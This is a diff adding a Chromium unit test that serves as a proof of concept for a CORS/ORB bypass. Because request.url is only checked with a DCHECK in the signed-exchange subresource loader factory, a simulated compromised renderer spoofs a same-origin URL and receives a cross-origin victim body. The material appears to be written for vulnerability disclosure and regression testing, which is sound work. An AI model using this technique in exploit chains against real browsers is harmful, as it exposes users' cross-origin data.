diff --git a/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc b/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc index 5d893bea69d15..87f73dc7c1bb4 100644 --- a/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc +++ b/content/browser/web_package/subresource_signed_exchange_url_loader_factory_unittest.cc @@ -9,11 +9,15 @@ #include "content/browser/web_package/prefetched_signed_exchange_cache.h" #include "content/public/test/browser_task_environment.h" +#include "mojo/public/cpp/system/data_pipe.h" +#include "net/http/http_util.h" #include "net/traffic_annotation/network_traffic_annotation_test_helper.h" #include "services/network/public/cpp/resource_request.h" +#include "services/network/public/mojom/fetch_api.mojom-shared.h" #include "services/network/public/mojom/url_loader.mojom.h" #include "services/network/public/mojom/url_loader_factory.mojom.h" #include "services/network/test/test_url_loader_client.h" +#include "storage/browser/blob/blob_data_builder.h" #include "storage/browser/blob/blob_data_handle.h" #include "storage/browser/blob/blob_storage_context.h" #include "testing/gtest/include/gtest/gtest.h" @@ -86,5 +90,205 @@ TEST(SubresourceSignedExchangeURLLoaderFactoryTest, loader.reset(); } +// --------------------------------------------------------------------------- +// POC: DCHECK-only request.url validation enables CORS/ORB bypass. +// +// SubresourceSignedExchangeURLLoaderFactory::CreateLoaderAndStart enforces +// request.request_initiator against the origin lock with a release-mode CHECK, +// but only enforces request.url == entry_->inner_url() with DCHECK_EQ, which +// is compiled out in release builds. +// +// The factory's mojo remote is handed directly to the renderer process via +// CommitNavigationParams::prefetched_signed_exchanges. A compromised renderer +// can therefore invoke CreateLoaderAndStart with request.url set to ANY URL +// that is same-origin with its (legitimately matching) request_initiator. The +// spoofed request.url is then passed to: +// * network::cors::ShouldCheckCors() -> false (same-origin) -> CORS skipped +// * OpaqueResponseBlockingAnalyzer::Init() -> kAllow (same-origin) -> ORB +// skipped +// and the cross-origin SXG body in entry_->blob_data_handle() is piped to the +// renderer. +// +// This test simulates the compromised-renderer end of the IPC. It creates a +// factory bound to a victim.example body (HTML, no CORS headers, ORB-protected) +// with request_initiator_origin_lock = attacker.example, then issues two +// requests: +// (A) Baseline: request.url = victim.example -> CORS rejects, no body. +// (B) Spoofed: request.url = attacker.example -> body delivered. +// Case (B) passing demonstrates the bypass. +// --------------------------------------------------------------------------- + +namespace { + +constexpr char kVictimSecretBody[] = + "VICTIM-SECRET-CROSS-ORIGIN-DATA"; + +std::unique_ptr MakeVictimEntry( + storage::BlobStorageContext& blob_context, + const GURL& victim_inner_url, + const char* blob_uuid) { + auto entry = std::make_unique(); + entry->SetCompletionStatus( + std::make_unique(net::OK)); + entry->SetOuterUrl(GURL("https://attacker-cdn.example/victim.sxg")); + entry->SetInnerUrl(victim_inner_url); + + // Inner response: cross-origin, ORB-protected (text/html + nosniff), and + // *no* Access-Control-Allow-Origin header. A well-behaved browser must + // never deliver this body to an attacker.example renderer. + auto inner_headers = base::MakeRefCounted( + net::HttpUtil::AssembleRawHeaders( + "HTTP/1.1 200 OK\n" + "Content-Type: text/html\n" + "X-Content-Type-Options: nosniff\n\n")); + auto inner_response = network::mojom::URLResponseHead::New(); + inner_response->headers = inner_headers; + inner_response->mime_type = "text/html"; + entry->SetInnerResponse(std::move(inner_response)); + + auto outer_headers = base::MakeRefCounted( + net::HttpUtil::AssembleRawHeaders( + "HTTP/1.1 200 OK\n" + "Content-Type: application/signed-exchange;v=b3\n\n")); + auto outer_response = network::mojom::URLResponseHead::New(); + outer_response->headers = outer_headers; + entry->SetOuterResponse(std::move(outer_response)); + + entry->SetHeaderIntegrity(std::make_unique()); + entry->SetSignatureExpireTime(base::Time::Now() + base::Days(1)); + + // The body is the victim origin's data. + auto builder = std::make_unique(blob_uuid); + builder->AppendData(std::string(kVictimSecretBody)); + entry->SetBlobDataHandle(blob_context.AddFinishedBlob(std::move(builder))); + return entry; +} + +std::string DrainPipe(mojo::ScopedDataPipeConsumerHandle pipe) { + std::string out; + if (!pipe.is_valid()) { + return out; + } + while (true) { + std::vector buf(4096); + size_t actually_read = 0; + MojoResult r = pipe->ReadData(MOJO_READ_DATA_FLAG_NONE, buf, actually_read); + if (r == MOJO_RESULT_OK) { + out.append(reinterpret_cast(buf.data()), actually_read); + continue; + } + // Producer is closed by the time RunUntilComplete() returns; SHOULD_WAIT + // therefore won't recur indefinitely. + if (r == MOJO_RESULT_SHOULD_WAIT) { + base::RunLoop().RunUntilIdle(); + continue; + } + break; // FAILED_PRECONDITION (peer closed) or error. + } + return out; +} + +} // namespace + +TEST(SubresourceSignedExchangeURLLoaderFactoryTest, + SpoofedRequestUrlBypassesCorsAndOrb) { + BrowserTaskEnvironment task_environment; + storage::BlobStorageContext blob_context; + + const GURL victim_inner_url("https://victim.example/secret.html"); + const url::Origin attacker_origin = + url::Origin::Create(GURL("https://attacker.example")); + + // The browser hands the renderer a remote to a factory bound to the + // cross-origin victim entry, locked to the attacker (main-SXG inner) origin. + // This mirrors PrefetchedSignedExchangeCache::GetInfoListForNavigation. + mojo::Remote factory; + new content::SubresourceSignedExchangeURLLoaderFactory( + factory.BindNewPipeAndPassReceiver(), + MakeVictimEntry(blob_context, victim_inner_url, "victim-blob"), + /*request_initiator_origin_lock=*/attacker_origin); + + // ------------------------------------------------------------------ + // (A) BASELINE: honest renderer sends the real inner URL. + // mode=kCors, initiator=attacker, url=victim -> cross-origin. + // ShouldCheckCors() == true; victim response has no ACAO header + // -> CheckAccess() fails -> body MUST NOT be delivered. + // ------------------------------------------------------------------ + { + mojo::Remote loader; + network::TestURLLoaderClient client; + network::ResourceRequest request; + request.url = victim_inner_url; + request.request_initiator = attacker_origin; + request.mode = network::mojom::RequestMode::kCors; + factory->CreateLoaderAndStart( + loader.BindNewPipeAndPassReceiver(), /*request_id=*/1, + network::mojom::kURLLoadOptionNone, request, client.CreateRemote(), + net::MutableNetworkTrafficAnnotationTag(TRAFFIC_ANNOTATION_FOR_TESTS)); + client.RunUntilComplete(); + + EXPECT_FALSE(client.has_received_response()) + << "BASELINE: cross-origin response without ACAO must be blocked."; + EXPECT_NE(net::OK, client.completion_status().error_code) + << "BASELINE: expected a CORS failure for the honest request."; + fprintf(stderr, + "[POC] BASELINE (url=%s): received_response=%d error_code=%d " + "cors_error=%d\n", + request.url.spec().c_str(), + static_cast(client.has_received_response()), + client.completion_status().error_code, + client.completion_status().cors_error_status.has_value() + ? static_cast( + client.completion_status().cors_error_status->cors_error) + : -1); + } + + // ------------------------------------------------------------------ + // (B) SPOOFED: compromised renderer lies about request.url. + // mode=kCors, initiator=attacker, url=attacker -> "same-origin". + // DCHECK_EQ(request.url, entry_->inner_url()) is compiled out. + // ShouldCheckCors() == false -> CORS skipped. + // ORB Init() returns kAllow (same-origin) -> ORB skipped. + // SendResponseBody() pipes victim.example's body to the renderer. + // ------------------------------------------------------------------ + { + mojo::Remote loader; + network::TestURLLoaderClient client; + network::ResourceRequest request; + request.url = GURL("https://attacker.example/spoofed"); // <-- THE LIE + request.request_initiator = attacker_origin; + request.mode = network::mojom::RequestMode::kCors; + factory->CreateLoaderAndStart( + loader.BindNewPipeAndPassReceiver(), /*request_id=*/2, + network::mojom::kURLLoadOptionNone, request, client.CreateRemote(), + net::MutableNetworkTrafficAnnotationTag(TRAFFIC_ANNOTATION_FOR_TESTS)); + client.RunUntilComplete(); + + // *** VULNERABILITY DEMONSTRATED HERE *** + // The factory delivered the cross-origin (victim.example) body to a + // request that claimed to be same-origin (attacker.example), with neither + // CORS nor ORB applied. + ASSERT_TRUE(client.has_received_response()) + << "SPOOFED: factory accepted spoofed url and sent OnReceiveResponse " + "-> CORS/ORB bypass."; + EXPECT_EQ(net::OK, client.completion_status().error_code); + + std::string body = DrainPipe(client.response_body_release()); + fprintf(stderr, + "[POC] SPOOFED (url=%s): received_response=%d error_code=%d\n", + request.url.spec().c_str(), + static_cast(client.has_received_response()), + client.completion_status().error_code); + fprintf(stderr, + "[POC] *** Cross-origin body leaked to attacker renderer:\n" + "[POC] *** \"%s\"\n", + body.c_str()); + EXPECT_EQ(std::string(kVictimSecretBody), body) + << "SPOOFED: victim.example body must have been piped to attacker."; + } + + task_environment.RunUntilIdle(); +} + } // namespace } // namespace content